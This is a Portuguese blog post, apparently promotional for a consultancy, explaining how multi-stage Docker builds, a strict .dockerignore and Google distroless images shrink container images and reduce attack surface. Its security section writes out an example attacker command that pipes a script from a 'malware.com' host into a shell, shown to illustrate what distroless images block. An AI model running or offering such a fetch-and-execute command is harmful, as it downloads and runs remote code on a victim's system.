Porque a Tua Imagem Docker Pesa 1.2 GB: Multi-Stage Builds, Higiene de .dockerignore e Imagens Distroless Explicadas

A Epidemia dos Contentores Pesados: Enviar um Sistema Inteiro para Pouco Código

Quando o Docker surgiu, prometeu revolucionar o desenvolvimento: “Empacota a tua aplicação e as suas dependências num contentor leve e portátil.”

Chegados a 2026, a maioria dos registos de contentores nas empresas parece uma lixeira de ficheiros com gigabytes de peso. Executa docker images no teu servidor ou na máquina de integração contínua e repara nos números:

REPOSITORY                  TAG       IMAGE ID       CREATED          SIZE
api-empresarial-vendas      latest    7b8192a019e1   12 minutes ago   1.42GB
portal-web-institucional    latest    e201b89fa012   1 hour ago       980MB

A DIVISÃO REAL DE UMA IMAGEM DE DOCKER DE 1.4GB

• Tamanho Total do Contentor: 1.420 MB
• Sistema Debian Base — Compiladores e Make — Ficheiros Dev e .git (apt, python, curl) — (gcc, g++, make, glibc) — (typescript, jest, etc)
• ~220 MB — ~380 MB — ~720 MB
• Código Real da Tua Aplicação: Apenas ~10 MB (0.7%)!

Mais de 99% desse contentor gigante é lixo dispensável em produção:

1. Compiladores de C e C++ (gcc, g++, make, python3) usados apenas uma vez para compilar dependências no npm install.
2. O compilador de TypeScript (tsc), bibliotecas de testes, linters e dependências de desenvolvimento que não fazem rigorosamente nada em produção.
3. O histórico completo da pasta .git, relatórios de cobertura de código e ficheiros de documentação.
4. Dezenas de utilitários do Linux (tar, curl, wget, bash) que aumentam desnecessariamente os pontos de ataque no teu servidor.

Este desperdício atrasa os deploys, faz o teu servidor descarregar gigabytes pela rede e enche os relatórios de segurança com centenas de vulnerabilidades em programas que o teu código nunca utiliza.

Na nossa equipa aplicamos princípios de websites de alta performance e prestamos consultoria técnica para reduzir contentores inchados para uns inacreditáveis 40 Megabytes.

O Segredo da Eficiência: O Padrão Multi-Stage Build

A forma mais elegante de eliminar este peso sem perderes a capacidade de compilar o teu projeto é usar Multi-Stage Builds no Docker.

Em vez de tentares fazer tudo numa única sequência de comandos, um Dockerfile multi-stage divide o processo em fases com propósitos bem definidos:

ARQUITETURA DE ISOLAMENTO EM MULTI-STAGE

• FASE 1: RESOLUÇÃO DE DEPENDÊNCIAS (Ambiente com Compiladores)
• Lê o package.json e descarrega os pacotes
• Corre o npm ci com todas as dependências de compilação Prepara o terreno para o TypeScript
• FASE 2: COMPILAÇÃO E MINIFICAÇÃO Transforma TypeScript em JavaScript nativo (tsc)
• Minifica os pacotes e otimiza os recursos
• Remove pacotes de desenvolvimento: npm prune --omit=dev
• (CÓPIA SELETIVA: Passa apenas o código pronto)
• FASE 3: AMBIENTE MÍNIMO DE PRODUÇÃO (Distroless / Alpine)
• Zero compiladores, zero shells, zero código-fonte cru
• Apenas o motor Node.js e os ficheiros prontos a correr
• Tamanho Final: ~45MB (Arranca em 100ms e é imune a ataques simples!)

A grande magia acontece na mudança da Fase 2 para a Fase 3. Como a última instrução FROM começa com uma imagem completamente nova e vazia, todas as camadas anteriores de ferramentas pesadas são deitadas fora automaticamente.

Passo 1: O Teu Ficheiro .dockerignore é Sagrado

Antes de escreveres o teu Dockerfile, tens de criar um ficheiro .dockerignore na raiz do teu projeto.

Quando disparas docker build, o teu computador junta todos os ficheiros da pasta e envia-os para o motor do Docker. Se tiveres lá a tua pasta node_modules local ou a pasta oculta .git, estás a enviar centenas de megabytes de ficheiros desnecessários.

Cria um ficheiro .dockerignore rigoroso:

# Ignora pastas de bibliotecas locais (Devem ser instaladas dentro do Docker!)
node_modules
npm-debug.log

# Ignora controlo de versões e configurações locais do programador
.git
.gitignore
.github

# Ignora segredos e ficheiros de ambiente
.env
.env.*
*.pem
*.key

# Ignora testes e documentação
coverage
tests
docs
*.md

# Ignora ficheiros de compilação locais
dist
build
.astro
.next

Passo 2: O Dockerfile Multi-Stage Profissional

Eis o modelo ideal e blindado para uma aplicação Node.js moderna a correr em Debian GNU/Linux:

# =====================================================================
# FASE 1: Gestão de Dependências
# =====================================================================
FROM node:22-bookworm-slim AS dependencias
WORKDIR /app

# Copia os manifestos primeiro para aproveitar o cache do Docker
COPY package.json package-lock.json ./

# Instala todas as dependências necessárias para a compilação
RUN npm ci --include=dev

# =====================================================================
# FASE 2: Compilação de TypeScript e Otimização
# =====================================================================
FROM node:22-bookworm-slim AS compilação
WORKDIR /app

COPY --from=dependencias /app/node_modules ./node_modules
COPY . .

# Compila o projeto e limpa os pacotes de desenvolvimento
RUN npm run build && \
    npm prune --omit=dev --no-audit

# =====================================================================
# FASE 3: Contentor Mínimo de Produção (Distroless)
# =====================================================================
# Imagem Distroless da Google: Contém apenas o Node.js e nada mais!
FROM gcr.io/distroless/nodejs22-debian12:nonroot AS producao
WORKDIR /app

# Variáveis de ambiente de produção
ENV NODE_ENV=production
ENV PORT=3000

# Copia apenas o código compilado e os pacotes de produção essenciais
COPY --from=compilação --chown=nonroot:nonroot /app/dist ./dist
COPY --from=compilação --chown=nonroot:nonroot /app/node_modules ./node_modules
COPY --from=compilação --chown=nonroot:nonroot /app/package.json ./package.json

# Abre a porta e corre sob utilizador sem privilégios (nonroot)
EXPOSE 3000
USER nonroot

CMD ["dist/servidor.js"]

APROVEITAMENTO DO CACHE DE CAMADAS NO DOCKER

• Alteraste uma linha de código em src/servidor.ts → Novo Build
• Camada 1: Imagem base node:22-slim → EM CACHE (0.0s)
• Camada 2: COPY package*.json → EM CACHE (0.0s)
• Camada 3: npm ci: Camada 4: COPY . . • Camada 5: npm run build
• EM CACHE (0.0s - Não descarrega nada!): COMPILADO (0.1s) • COMPILADO (1.8s)
• Imagem Final Pronta: 42 MB gerados em apenas 2.5 segundos!

Repara na inteligência desta ordem: ao copiares o package.json antes do resto do código, o Docker guarda o resultado do npm ci em memória. Sempre que alteras código da tua aplicação, o build demora 2 segundos porque não perde tempo a descarregar bibliotecas da internet outra vez.

Vantagem de Segurança: Porque o Distroless Neutraliza Invasões

Reduzir o tamanho da imagem é excelente, mas o maior ganho está na segurança da tua infraestrutura.

Vê o que acontece se um invasor descobrir uma falha no teu código e tentar executar comandos no contentor:

TENTATIVA DE ATAQUE NUM CONTENTOR DISTROLEES

• O INVASOR TENTA EXECUTAR UM COMANDO REMOTO: Ordem enviada: exec(“/bin/sh -c ‘curl https://malware.com/ataque.sh | sh’”)
• CONTENTOR VULGAR COM DEBIAN BASE
• CONTENTOR COM GOOGLE DISTROLESS
• O /bin/sh existe → Abre a consola! • /bin/sh: NÃO EXISTE! (Falha!)
• O curl existe → Descarrega malware! • curl: NÃO EXISTE! (Falha!)
• Corre como root → Servidor invadido! • Utilizador: nonroot (Sem direitos!)
• Resultado: SERVIDOR COMPROMETIDO!
• Resultado: O ATAQUE MORRE NA HORA!

Como uma imagem Distroless não tem consolas de comandos (sh, bash), nem ferramentas de download (curl, wget), nem gestores de pacotes, os scripts de ataque automático falham logo na primeira instrução. O invasor fica de mãos atadas porque o contentor não tem as ferramentas normais de um sistema operativo.

Os Resultados em Produção: Métricas que Falam por Si

A diferença entre um contentor comum e um contentor multi-stage otimizado é impressionante:

Ao aplicares estas boas práticas no teu fluxo de trabalho, poupas largura de banda, aceleras a tua equipa e blindas a tua infraestrutura contra ameaças modernas. Baseado na nossa visão de anti-over-engineering, constróis sistemas limpos e rápidos sem ferramentas desnecessárias. Podes consultar mais exemplos no GitHub e transformar os teus contentores hoje mesmo.

No terreno, em conjunto com a experiência acumulada na Webxtek Studio, aplicamos exatamente estes padrões operacionais em setores exigentes como especialistas em devops e arquitetura cloud e provedores de cloud computing e iaas. Quando alinhas a tua estrutura através de websites de alta performance e anti-over-engineering, transformas boas práticas técnicas numa vantagem competitiva real e mensurável para o teu negócio.